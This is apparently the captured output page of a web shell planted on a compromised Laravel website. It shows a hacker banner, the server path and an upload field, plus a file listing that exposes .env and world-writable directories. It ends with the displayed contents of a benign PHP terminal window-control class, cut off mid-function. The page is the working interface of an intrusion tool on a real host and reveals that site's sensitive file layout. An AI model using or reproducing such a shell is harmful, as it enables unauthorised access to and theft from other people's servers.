I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
writeAll("\033[8;".$y.';'.$x.'t');
return;
}
/**
* Get current size (x and y) of the window.
*/
public static function getSize(): array
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
$modecon = \explode("\n", \ltrim(ConsoleProcessus::execute('mode con')));
$_y = \trim($modecon[2]);
\preg_match('#[^:]+:\s*([0-9]+)#', $_y, $matches);
$y = (int) $matches[1];
$_x = \trim($modecon[3]);
\preg_match('#[^:]+:\s*([0-9]+)#', $_x, $matches);
$x = (int) $matches[1];
return [
'x' => $x,
'y' => $y,
];
}
$term = '';
if (isset($_SERVER['TERM'])) {
$term = 'TERM="'.$_SERVER['TERM'].'" ';
}
$command = $term.'tput cols && '.$term.'tput lines';
$tput = ConsoleProcessus::execute($command, false);
if (!empty($tput)) {
list($x, $y) = \explode("\n", $tput);
return [
'x' => (int) $x,
'y' => (int) $y,
];
}
// DECSLPP.
Console::getOutput()->writeAll("\033[18t");
$input = Console::getInput();
// Read \033[8;y;xt.
$input->read(4); // skip \033, [, 8 and ;.
$x = null;
$y = null;
$handle = &$y;
while (true) {
$char = $input->readCharacter();
switch ($char) {
case ';':
$handle = &$x;
break;
case 't':
break 2;
default:
if (false === \ctype_digit($char)) {
break 2;
}
$handle .= $char;
}
}
if (null === $x || null === $y) {
return [
'x' => 0,
'y' => 0,
];
}
return [
'x' => (int) $x,
'y' => (int) $y,
];
}
/**
* Move to X and Y (in pixels).
*/
public static function moveTo(int $x, int $y)
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return;
}
// DECSLPP.
Console::getOutput()->writeAll("\033[3;".$x.';'.$y.'t');
return;
}
/**
* Get current position (x and y) of the window (in pixels).
*/
public static function getPosition(): array
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return ['x' => 0, 'y' => 0];
}
// DECSLPP.
Console::getOutput()->writeAll("\033[13t");
$input = Console::getInput();
// Read \033[3;x;yt.
$input->read(4); // skip \033, [, 3 and ;.
$x = null;
$y = null;
$handle = &$x;
while (true) {
$char = $input->readCharacter();
switch ($char) {
case ';':
$handle = &$y;
break;
case 't':
break 2;
default:
$handle .= $char;
}
}
return [
'x' => (int) $x,
'y' => (int) $y,
];
}
/**
* Scroll whole page.
* Directions can be:
* • u, up, ↑ : scroll whole page up;
* • d, down, ↓ : scroll whole page down.
* Directions can be concatenated by a single space.
*/
public static function scroll(string $directions, int $repeat = 1)
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return;
}
if (1 > $repeat) {
return;
} elseif (1 === $repeat) {
$handle = \explode(' ', $directions);
} else {
$handle = \explode(' ', $directions, 1);
}
$tput = Console::getTput();
$count = ['up' => 0, 'down' => 0];
foreach ($handle as $direction) {
switch ($direction) {
case 'u':
case 'up':
case '↑':
++$count['up'];
break;
case 'd':
case 'down':
case '↓':
++$count['down'];
break;
}
}
$output = Console::getOutput();
if (0 < $count['up']) {
$output->writeAll(
\str_replace(
'%p1%d',
$count['up'] * $repeat,
$tput->get('parm_index')
)
);
}
if (0 < $count['down']) {
$output->writeAll(
\str_replace(
'%p1%d',
$count['down'] * $repeat,
$tput->get('parm_rindex')
)
);
}
return;
}
/**
* Minimize the window.
*/
public static function minimize()
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return;
}
// DECSLPP.
Console::getOutput()->writeAll("\033[2t");
return;
}
/**
* Restore the window (de-minimize).
*/
public static function restore()
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return;
}
Console::getOutput()->writeAll("\033[1t");
return;
}
/**
* Raise the window to the front of the stacking order.
*/
public static function raise()
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return;
}
Console::getOutput()->writeAll("\033[5t");
return;
}
/**
* Lower the window to the bottom of the stacking order.
*/
public static function lower()
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return;
}
Console::getOutput()->writeAll("\033[6t");
return;
}
/**
* Set title.
*/
public static function setTitle(string $title)
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return;
}
// DECSLPP.
Console::getOutput()->writeAll("\033]0;".$title."\033\\");
return;
}
/**
* Get title.
*/
public static function getTitle()
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return null;
}
// DECSLPP.
Console::getOutput()->writeAll("\033[21t");
$input = Console::getInput();
$read = [$input->getStream()->getStream()];
$write = [];
$except = [];
$out = null;
if (0 === \stream_select($read, $write, $except, 0, 50000)) {
return $out;
}
// Read \033]l\033\
$input->read(3); // skip \033, ] and l.
while (true) {
$char = $input->readCharacter();
if ("\033" === $char) {
$chaar = $input->readCharacter();
if ('\\' === $chaar) {
break;
}
$char .= $chaar;
}
$out .= $char;
}
return $out;
}
/**
* Get label.
*/
public static function getLabel()
{
if (\defined('PHP_WINDOWS_VERSION_PLATFORM')) {
return null;
}
// DECSLPP.
Console::getOutput()->writeAll("\033[20t");
$input = Console::getInput();
$read = [$input->getStream()->getStream()];
$write = [];
$except = [];
$out = null;
if (0 === \stream_select($read, $write, $except, 0, 50000)) {
return $out;
}
// Read \033]L